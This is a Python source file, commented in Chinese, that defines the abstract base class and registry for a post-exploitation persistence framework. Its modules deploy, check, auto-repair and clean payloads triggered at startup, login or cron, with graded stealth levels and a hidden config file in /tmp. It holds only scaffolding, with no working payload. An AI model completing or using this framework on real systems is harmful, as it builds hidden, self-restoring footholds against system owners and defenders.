#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
权限维持模块抽象基类
定义统一接口，强制子模块实现标准生命周期方法
"""

import os
import sys
import json
import time
import logging
from abc import ABC, abstractmethod
from typing import Dict, List, Optional, Any, Tuple
from dataclasses import dataclass
from enum import Enum
from datetime import datetime

class PersistenceStatus(Enum):
    """权限维持状态枚举"""
    UNKNOWN = "unknown"
    DEPLOYED = "deployed"
    ACTIVE = "active"
    INACTIVE = "inactive"
    FAILED = "failed"
    REMOVED = "removed"

class PersistenceLevel(Enum):
    """权限维持级别"""
    LOW = 1      # 低级别：容易被发现，但部署简单
    MEDIUM = 5   # 中级别：平衡隐蔽性和持久性
    HIGH = 8     # 高级别：高隐蔽性，难以清除
    CRITICAL = 10 # 关键级别：最高隐蔽性和持久性

@dataclass
class PersistenceConfig:
    """权限维持配置"""
    name: str                    # 持久化名称/标识
    payload: str                 # 要执行的载荷
    trigger: str                 # 触发条件（如startup, login, cron等）
    stealth_level: PersistenceLevel  # 隐蔽级别
    persistence_level: PersistenceLevel  # 持久化级别
    platform: str = "linux"     # 目标平台
    user_context: str = "root"   # 用户上下文
    auto_repair: bool = True     # 是否启用自动修复
    cleanup_on_exit: bool = False # 退出时是否清理
    metadata: Dict[str, Any] = None  # 额外元数据

    def __post_init__(self):
        if self.metadata is None:
            self.metadata = {}

@dataclass
class PersistenceResult:
    """权限维持操作结果"""
    success: bool
    status: PersistenceStatus
    message: str
    details: Dict[str, Any] = None
    timestamp: str = None
    
    def __post_init__(self):
        if self.details is None:
            self.details = {}
        if self.timestamp is None:
            self.timestamp = datetime.now().isoformat()

class BasePersistenceModule(ABC):
    """权限维持模块抽象基类
    
    所有权限维持子模块必须继承此类并实现所有抽象方法
    提供统一的生命周期管理接口
    """
    
    def __init__(self, module_name: str, supported_platforms: List[str] = None):
        """初始化基础模块
        
        Args:
            module_name: 模块名称
            supported_platforms: 支持的平台列表
        """
        self.module_name = module_name
        self.supported_platforms = supported_platforms or ["linux"]
        self.logger = self._setup_logger()
        self.deployed_instances = {}  # 已部署的实例
        self.config_file = f"/tmp/.{module_name}_config.json"
        
    def _setup_logger(self) -> logging.Logger:
        """设置日志记录器"""
        logger = logging.getLogger(f"persistence.{self.module_name}")
        if not logger.handlers:
            handler = logging.StreamHandler()
            formatter = logging.Formatter(
                '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
            )
            handler.setFormatter(formatter)
            logger.addHandler(handler)
            logger.setLevel(logging.INFO)
        return logger
    
    def is_platform_supported(self, platform: str = None) -> bool:
        """检查平台是否支持"""
        if platform is None:
            platform = sys.platform
        return platform in self.supported_platforms
    
    def validate_config(self, config: PersistenceConfig) -> Tuple[bool, str]:
        """验证配置有效性"""
        if not config.name:
            return False, "配置名称不能为空"
        
        if not config.payload:
            return False, "载荷不能为空"
        
        if not self.is_platform_supported(config.platform):
            return False, f"不支持的平台: {config.platform}"
        
        return True, "配置验证通过"
    
    @abstractmethod
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署权限维持机制
        
        Args:
            config: 权限维持配置
            
        Returns:
            PersistenceResult: 部署结果
        """
        pass
    
    @abstractmethod
    def check_alive(self, name: str) -> PersistenceResult:
        """检查权限维持机制是否存活
        
        Args:
            name: 权限维持实例名称
            
        Returns:
            PersistenceResult: 检查结果
        """
        pass
    
    @abstractmethod
    def repair(self, name: str) -> PersistenceResult:
        """修复权限维持机制
        
        Args:
            name: 权限维持实例名称
            
        Returns:
            PersistenceResult: 修复结果
        """
        pass
    
    @abstractmethod
    def clean(self, name: str) -> PersistenceResult:
        """清理权限维持机制
        
        Args:
            name: 权限维持实例名称
            
        Returns:
            PersistenceResult: 清理结果
        """
        pass
    
    @abstractmethod
    def list_instances(self) -> List[Dict[str, Any]]:
        """列出所有已部署的实例
        
        Returns:
            List[Dict]: 实例列表
        """
        pass
    
    def get_status(self, name: str) -> PersistenceStatus:
        """获取权限维持状态"""
        result = self.check_alive(name)
        return result.status
    
    def save_instance_config(self, name: str, config: PersistenceConfig):
        """保存实例配置"""
        try:
            if os.path.exists(self.config_file):
                with open(self.config_file, 'r') as f:
                    data = json.load(f)
            else:
                data = {}
            
            data[name] = {
                'name': config.name,
                'payload': config.payload,
                'trigger': config.trigger,
                'stealth_level': config.stealth_level.value,
                'persistence_level': config.persistence_level.value,
                'platform': config.platform,
                'user_context': config.user_context,
                'auto_repair': config.auto_repair,
                'cleanup_on_exit': config.cleanup_on_exit,
                'metadata': config.metadata,
                'deployed_time': datetime.now().isoformat(),
                'module_name': self.module_name
            }
            
            with open(self.config_file, 'w') as f:
                json.dump(data, f, indent=2)
                
        except Exception as e:
            self.logger.error(f"保存配置失败: {e}")
    
    def load_instance_config(self, name: str) -> Optional[PersistenceConfig]:
        """加载实例配置"""
        try:
            if not os.path.exists(self.config_file):
                return None
                
            with open(self.config_file, 'r') as f:
                data = json.load(f)
            
            if name not in data:
                return None
            
            instance_data = data[name]
            return PersistenceConfig(
                name=instance_data['name'],
                payload=instance_data['payload'],
                trigger=instance_data['trigger'],
                stealth_level=PersistenceLevel(instance_data['stealth_level']),
                persistence_level=PersistenceLevel(instance_data['persistence_level']),
                platform=instance_data['platform'],
                user_context=instance_data['user_context'],
                auto_repair=instance_data['auto_repair'],
                cleanup_on_exit=instance_data['cleanup_on_exit'],
                metadata=instance_data['metadata']
            )
            
        except Exception as e:
            self.logger.error(f"加载配置失败: {e}")
            return None
    
    def remove_instance_config(self, name: str):
        """删除实例配置"""
        try:
            if not os.path.exists(self.config_file):
                return
                
            with open(self.config_file, 'r') as f:
                data = json.load(f)
            
            if name in data:
                del data[name]
                
                with open(self.config_file, 'w') as f:
                    json.dump(data, f, indent=2)
                    
        except Exception as e:
            self.logger.error(f"删除配置失败: {e}")
    
    def auto_repair_check(self):
        """自动修复检查"""
        instances = self.list_instances()
        for instance in instances:
            name = instance['name']
            config = self.load_instance_config(name)
            
            if config and config.auto_repair:
                status = self.get_status(name)
                if status in [PersistenceStatus.INACTIVE, PersistenceStatus.FAILED]:
                    self.logger.info(f"自动修复实例: {name}")
                    self.repair(name)
    
    def cleanup_all(self):
        """清理所有实例"""
        instances = self.list_instances()
        for instance in instances:
            name = instance['name']
            self.clean(name)
    
    def get_module_info(self) -> Dict[str, Any]:
        """获取模块信息"""
        return {
            'module_name': self.module_name,
            'supported_platforms': self.supported_platforms,
            'deployed_instances': len(self.deployed_instances),
            'config_file': self.config_file
        }

class PersistenceModuleRegistry:
    """权限维持模块注册表"""
    
    def __init__(self):
        self.modules = {}
        self.logger = logging.getLogger("persistence.registry")
    
    def register_module(self, module: BasePersistenceModule):
        """注册权限维持模块"""
        self.modules[module.module_name] = module
        self.logger.info(f"注册模块: {module.module_name}")
    
    def get_module(self, module_name: str) -> Optional[BasePersistenceModule]:
        """获取权限维持模块"""
        return self.modules.get(module_name)
    
    def list_modules(self) -> List[str]:
        """列出所有注册的模块"""
        return list(self.modules.keys())
    
    def get_modules_by_platform(self, platform: str) -> List[BasePersistenceModule]:
        """根据平台获取支持的模块"""
        return [
            module for module in self.modules.values()
            if module.is_platform_supported(platform)
        ]

# 全局模块注册表实例
persistence_registry = PersistenceModuleRegistry()